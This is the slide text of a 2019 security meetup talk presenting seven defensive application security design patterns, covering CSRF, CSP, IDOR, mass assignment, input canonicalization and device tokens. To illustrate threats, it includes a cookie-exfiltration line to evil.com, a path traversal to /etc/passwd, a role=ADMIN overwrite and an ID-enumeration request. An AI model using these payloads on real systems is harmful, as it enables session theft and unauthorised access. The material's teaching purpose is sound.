Slide 1

Slide 1 text

Classification: Public 1

Slide 2

Slide 2 text

Classification: Public 2 7 Application Security Design Patterns You Should Know Security Meetup by SBA Research 0x05 Thomas Konrad, SBA Research Vienna, August 1st, 2019 SBA Research gGmbH, 2019

Slide 3

Slide 3 text

Classification: Public 3 SBA Research gGmbH, 2019 $ whoami Thomas Konrad $ id uid=123(tom) gid=0(SBA Research) gid=1(Software Security) gid=2(Penetration Testing) gid=3(Software Development) gid=4(Security Training)

Slide 4

Slide 4 text

Classification: Public 4 Bullet-proof Centralized Request Processing Pattern #1 SBA Research gGmbH, 2019

Slide 5

Slide 5 text

Classification: Public 5 Wordpress: Script Files Spread All Over SBA Research gGmbH, 2019 Image source: https://askubuntu.com/questions/179277/lamp-apache-not- accepting-index-php-files-and-displaying-directory-listing

Slide 6

Slide 6 text

Classification: Public 6 Let’s Include Security some_page.php • That’s prone to errors! • The same goes for .jsp, .aspx, ... all web scripting languages with direct script access. SBA Research gGmbH, 2019

Slide 7

Slide 7 text

Classification: Public 7 Pattern #1: Single Application Entry Point Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash B A S I C B A S I C

Slide 8

Slide 8 text

Classification: Public 8 Mitigate The Problem By Design • Single Application Entry Point Pattern o Have a single entry point o Put all your source files out of the web root o Rewrite URLs to a single script o Some environments and frameworks do that automatically SBA Research gGmbH, 2019

Slide 9

Slide 9 text

Classification: Public 9 Benefits of a Single Application Entry Point • Centralized session management • Centralized access control • Centralized API request limits • Centralized ... anything SBA Research gGmbH, 2019

Slide 10

Slide 10 text

Classification: Public 10 Mitigating Cross-site Request Forgery (CSRF) By Design Pattern #2 SBA Research gGmbH, 2019

Slide 11

Slide 11 text

Classification: Public 11 What is CSRF? • Before we dive in, we need to clarify two terms in detail o Same-Origin Policy (SOP) o Implicit vs. explicit authentication 2019 - SBA Research gGmbH

Slide 12

Slide 12 text

Classification: Public 12 What Is The Same-Origin Policy? The Same-Origin Policy is a security policy in web browsers that defines how a document or script of one Origin can interact with those of other Origins. 2019 - SBA Research gGmbH

Slide 13

Slide 13 text

Classification: Public 13 Erm... Origin? URL http://store.company.com/dir2/other.html http://store.company.com/dir/inner/another.html https://store.company.com/secure.html http://store.company.com:81/dir/etc.html http://news.company.com/dir/other.html 2019 - SBA Research gGmbH Example: http://store.company.com/dir/page.html Result Reason OK OK NOK Different protocol NOK Different port NOK Different host Protocol, domain, and port must be equal!

Slide 14

Slide 14 text

Classification: Public 14 SOP: What Is Allowed And What Is Not? • Cross-Origin writes are typically allowed o Links, redirects, form submissions • Cross-Origin embedding is typically allowed o Scripts, CSS, images • Cross-Origin reads are typically prohibited o But information is sometimes leaked: Image size, function in a script, availability of an embedded resource [1] 2019 - SBA Research gGmbH [1] https://www.grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information

Slide 15

Slide 15 text

Classification: Public 15 Implicit vs. explicit authentication • Implicit authentication: Is automatically done by the browser at each request – even cross-origin! o Cookies o HTTP basic auth o TLS client certificates • Explicit authentication: Is done manually by the developer o Session token via header o Session token via body parameter o ... everything that’s not implicit 2019 - SBA Research gGmbH

Slide 16

Slide 16 text

Classification: Public 16 CSRF: An Example SBA Research gGmbH, 2019 https://bank.com view-source://attacker.com document.maliciousform.submit(); Hello, Alice! Your transaction list Date Recipient Amount ... ... ... ... ... ... SESSIONID=el4ukv0kqbvoirg7nkp4dncpk3 bank.com Cookie Jar

Slide 17

Slide 17 text

Classification: Public 17 A CSRF attack only works if the server accepts ... • write operations via GET, POST (or HEAD) • with standard HTML form content types o application/x-www-form-urlencoded o multipart/form-data o text/plain • and implicit authentication (e.g., cookies) • when no non-standard header is required. 2019 - SBA Research gGmbH Anything that can be done with an HTML form

Slide 18

Slide 18 text

Classification: Public 18 Pattern #2: Custom Request Header Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash B A S I C B A S I C S P A - O N L Y S P A - O N L Y

Slide 19

Slide 19 text

Classification: Public 19 Custom Request Header: Frontend Example SBA Research gGmbH, 2019

Slide 20

Slide 20 text

Classification: Public 20 Custom Request Header: Backend Example SBA Research gGmbH, 2019

Slide 21

Slide 21 text

Classification: Public 21 Making the Integration of a CSP a Breeze Pattern #3 SBA Research gGmbH, 2019

Slide 22

Slide 22 text

Classification: Public 22 Content Security Policy “It's not a matter of if you will introduce an XSS vulnerability, but when.” Ben Vinegar, Disqus 2019 - SBA Research gGmbH

Slide 23

Slide 23 text

Classification: Public 23 CSP: A Word Of Warning 1. CSP is not a solution for XSS! 2. CSP is only a defense in depth! 3. Correct Output encoding is the only solution. 2019 - SBA Research gGmbH

Slide 24

Slide 24 text

Classification: Public 24 What is CSP? • New HTTP response header • Created for reducing XSS risk • Whitelist for dynamic resources 2019 - SBA Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com Refused to load the script 'http://evil.com/pwnage.js' because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com".

Slide 25

Slide 25 text

Classification: Public 25 CSP: Inline scripts are disabled by default 2019 - SBA Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com" new Image('http://evil.com/?cookie=' + document.cookie); • Also disallowed o Event handlers in attributes o Unsafe functions: eval(), setTimeout() and setInterval() with inline code, etc.

Slide 26

Slide 26 text

Classification: Public 26 Pattern #3: External Dynamic Resources Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D

Slide 27

Slide 27 text

Classification: Public 27 Externalize All The Things! SBA Research gGmbH, 2019 var x = 1; /* ... */ Link
Content setTimeout('someFunction()', 1000); setInterval('someFunction()', 1000); eval('someFunction()');

Slide 28

Slide 28 text

Classification: Public 28 Externalize All The Things! SBA Research gGmbH, 2019

Slide 29

Slide 29 text

Classification: Public 29 Now, a Strict CSP is Easily Possible SBA Research gGmbH, 2019 Content-Security-Policy: default-src 'self'; base-uri 'none'; report-uri 'https://csp.example.org';

Slide 30

Slide 30 text

Classification: Public 30 Effective Defense in Depth against Missing Object-level Access Control Pattern #4 SBA Research gGmbH, 2019

Slide 31

Slide 31 text

Classification: Public 31 Insecure Direct Object References SBA Research gGmbH, 2019 https://example.com/profile/orders/3851 @Controller public class OrderController { @GetMapping("/api/v1/orders") public ModelAndView getOrderById(@RequestParam String id) { // ... this.throwUnlessUserLoggedIn(); // Check if there is a session Order order = orderRepository.find(id); return this.createView(order); } } GET /api/v1/shop/orders/<1-1000> HTTP/1.1 Host: example.com

Slide 32

Slide 32 text

Classification: Public 32 Pattern #4: Random Object ID Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D

Slide 33

Slide 33 text

Classification: Public 33 Make All Object IDs Random! • Randomly generate object IDs! • Many frameworks database systems support this SBA Research gGmbH, 2019

Slide 34

Slide 34 text

Classification: Public 34 A Word On UUIDs • UUID version 1: Uses the current timestamp and the MAC address of the computer on which it was generated. • UUID version 2: Like version 1, except that the least significant 8 bits of the clock sequence are replaced by a "local domain" number. • UUID version 3 and 5: Version-3 and version-5 UUIDs are generated by hashing a namespace identifier and name. • UUID version 4: A version 4 UUID is randomly generated. It has an entropy of 122 bits. SBA Research gGmbH, 2019

Slide 35

Slide 35 text

Classification: Public 35 Mitigating Arbitrary Entity Field Overwrites and Excessive Data Exposure by Design Pattern #5 SBA Research gGmbH, 2019

Slide 36

Slide 36 text

Classification: Public 36 Problem 1/2: Arbitrary Overwrite SBA Research gGmbH, 2019 PUT /api/v1/profile HTTP/1.1 Host: example.com name=Alice&address=1,+Example+Street&role=ADMIN

Slide 37

Slide 37 text

Classification: Public 37 Problem 2/2: Excessive Exposure SBA Research gGmbH, 2019 GET /api/v1/search-user?query=Alice HTTP/1.1 Host: example.com HTTP/1.1 200 OK Content-Type: application/json Content-Length: 3290 [ { name: 'Alice', password_hash: '0FAC322A...' }, { ... } ]

Slide 38

Slide 38 text

Classification: Public 38 Pattern #5: Entity Field Whitelist Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D

Slide 39

Slide 39 text

Classification: Public 39 How Can We Solve That? • The idea: Use whitelists for input and output! • Input o Request Data Transfer Objects (Request DTOs) • Output o Response Data Transfer Objects (Response DTOs) o Serialization Whitelist and Groups SBA Research gGmbH, 2019

Slide 40

Slide 40 text

Classification: Public 40 Data Transfer Objects (DTOs) SBA Research gGmbH, 2019 Image source: http://www.servicedesignpatterns.com/RequestAndResponse Management/DataTransferObject

Slide 41

Slide 41 text

Classification: Public 41 Serialization Whitelist SBA Research gGmbH, 2019

Slide 42

Slide 42 text

Classification: Public 42 Canonicalize, Validate, (Sanitize), Store, Encode Pattern #6 SBA Research gGmbH, 2019

Slide 43

Slide 43 text

Classification: Public 43 Problem: Validation Before C18N • Say you want a file path to always start with • Your file system canonicalizes ../ • You validate the input • An attacker could do SBA Research gGmbH, 2019 /var/www/public/uploads/ if (!path.startsWith('/var/www/public/uploads/') {/* Reject! */} /var/www/public/uploads/../../../../etc/passwd

Slide 44

Slide 44 text

Classification: Public 44 Problem: Encoding Before Storing • Say you want to do encoding before storing • Problem o What if you have a different output format? o You must HTML-decode and do context-specific encoding again o That’s hardly maintainable! SBA Research gGmbH, 2019 String encodedName = HTMLEncoder.encode(name); user.setName(encodedName); entityManager.persist(user);

Slide 45

Slide 45 text

Classification: Public 45 Problem: Code Input • When the input is code, validation is hard • Some parts of it are acceptable • We need to sanitize! o Don’t roll your own sanitizer! o Use a library! SBA Research gGmbH, 2019 Image source: https://www.sketchappsources.com/free- source/2963-WYSIWYG-Editor-template-sketch-freebie- resource.html

Slide 46

Slide 46 text

Classification: Public 46 Pattern #6: Canonicalize, Validate, (Sanitize), Store, Encode Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D

Slide 47

Slide 47 text

Classification: Public 47 Canonicalize, Validate, (Sanitize), Store, Encode SBA Research gGmbH, 2019 User Interface User Interface Application Code Application Code Storage Storage Store Store Context-sensitive Output Encoding Context-sensitive Output Encoding Canonicalize Canonicalize Validate Validate (Sanitize) (Sanitize) HTML, JSON, XML, CSV, Text, ... HTML, JSON, XML, CSV, Text, ...

Slide 48

Slide 48 text

Classification: Public 48 Establishing User Trust Levels and Account Security Transparency Pattern #7 SBA Research gGmbH, 2019

Slide 49

Slide 49 text

Classification: Public 49 A Basic User Account Threat Model Threat Severity1 C/I/A Countermeasures Password guessing High C/I/- (Temporary) user lockout, password policy, MFA, transparency (device lists and notifications, with Device Tokens) Account lockout Medium -/-/A Selective lockout (with Device Tokens) Misuse of known passwords (public lists, other apps, ...) Medium C/I/- MFA Someone dumps the DB on the Internet Medium C/I/- Proper hashes (Argon2) Enumerating valid user names Low C/-/- (Generic error messages, constant timing on all requests containing the user name) SBA Research gGmbH, 2019 1 The severity really depends on the classification of your data. Don’t see them as absolute and unchangeable values.

Slide 50

Slide 50 text

Classification: Public 50 Password Guessing vs. Account Lockout • This is the hard part! • Do you know Hammer Head? SBA Research gGmbH, 2019 https://giphy.com/gifs/cuteness-Hnv3oVMOkmHiE

Slide 51

Slide 51 text

Classification: Public 51 Preventing User Lockout: A Question Of Trust SBA Research gGmbH, 2019 Image source: https://www.supermarketguru.com/site/assets/files/6521/bakerycounter.jpg

Slide 52

Slide 52 text

Classification: Public 52 Transparency: Notifications SBA Research gGmbH, 2019

Slide 53

Slide 53 text

Classification: Public 53 Transparency: Device List SBA Research gGmbH, 2019

Slide 54

Slide 54 text

Classification: Public 54 Pattern #7: Device Token Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash S O P H I S T I C AT E D S O P H I S T I C AT E D

Slide 55

Slide 55 text

Classification: Public 55 Device Tokens • Device Tokens in a nutshell o Catch successful login events o If this is a new device – Issue a Device Token – Send a notification (as you saw before) o The token must be long-running! o Connect the new session to it o Store source IP, user agent, first access, last access SBA Research gGmbH, 2019

Slide 56

Slide 56 text

Classification: Public 56 Preventing User Lockout: A Question Of Trust SBA Research gGmbH, 2019

Slide 57

Slide 57 text

Classification: Public 57 Preventing User Lockout: A Question Of Trust SBA Research gGmbH, 2019

Slide 58

Slide 58 text

Classification: Public 58 Preventing User Lockout: The Pareto Principle • You can save most users from being locked out • But not 100 %! • A note for apps with public registration forms o An attacker could register and issue themselves new device cookies via a script o Therefore: Count failed login attempts also for users and hard-lock them in case they’re attacking SBA Research gGmbH, 2019

Slide 59

Slide 59 text

Classification: Public 59 Device Tokens • Device Tokens enable us to do tons of great things o List devices (transparency!) o Notifications upon a login from a new device (transparency!) o Remember MFA for specific devices o Remember previously logged-in users o Slow down password guessing o ... • They are a must-have for good account security! SBA Research gGmbH, 2019

Slide 60

Slide 60 text

Classification: Public 60 Summary • Pattern #1: Single Application Entry Point Pattern • Pattern #2: Custom Request Header Pattern • Pattern #3: External Dynamic Resources Pattern • Pattern #4: Random Object ID Pattern • Pattern #5: Entity Field Whitelist Pattern • Pattern #6: Canonicalize, Validate, (Sanitize), Store, Encode Pattern • Pattern #7: Device Token Pattern SBA Research gGmbH, 2019

Slide 61

Slide 61 text

Classification: Public 61 OWASP API Security Top 10 (Draft) • A1:2019 Missing Object Level Access Control • A2:2019 Broken Authentication • A3:2019 Excessive Data Exposure • A4:2019 Lack of Resources & Rate Limiting • A5:2019 Missing Function/Resource Level Access Control • A6:2019 Mass Assignment • A7:2019 Security Misconfiguration • A8:2019 Injection • A9:2019 Improper Assets Management • A10:2019 Insufficient Logging & Monitoring SBA Research gGmbH, 2019

Slide 62

Slide 62 text

Classification: Public 62 SBA Research gGmbH, 2019 Questions? Image source: https://giphy.com/gifs/reactionseditor-reaction-l0Iy8hSJalxmgTOF2

Slide 63

Slide 63 text

Classification: Public 63 sec4dev Conference & Bootcamp • Security Conference & Bootcamp for developers • Feb 24 to 27, 2020 • TU Wien • https://sec4dev.io • @sec4dev

Slide 64

Slide 64 text

Classification: Public 64 Next Meetup! SBA Research gGmbH, 2019 • Secure Credential Management with Vault in Kubernetes • September 4th, 2019 • SBA Research (Floragasse 7, Vienna) • Speaker: Alexander Bulyha • Please RSVP!

Slide 65

Slide 65 text

Classification: Public 65 Thomas Konrad SBA Research gGmbH Floragasse 7, 1040 Vienna tkonrad@sba-research.org @_thomaskonrad 2019 - SBA Research gGmbH Photo by Kelly Sikkema on Unsplash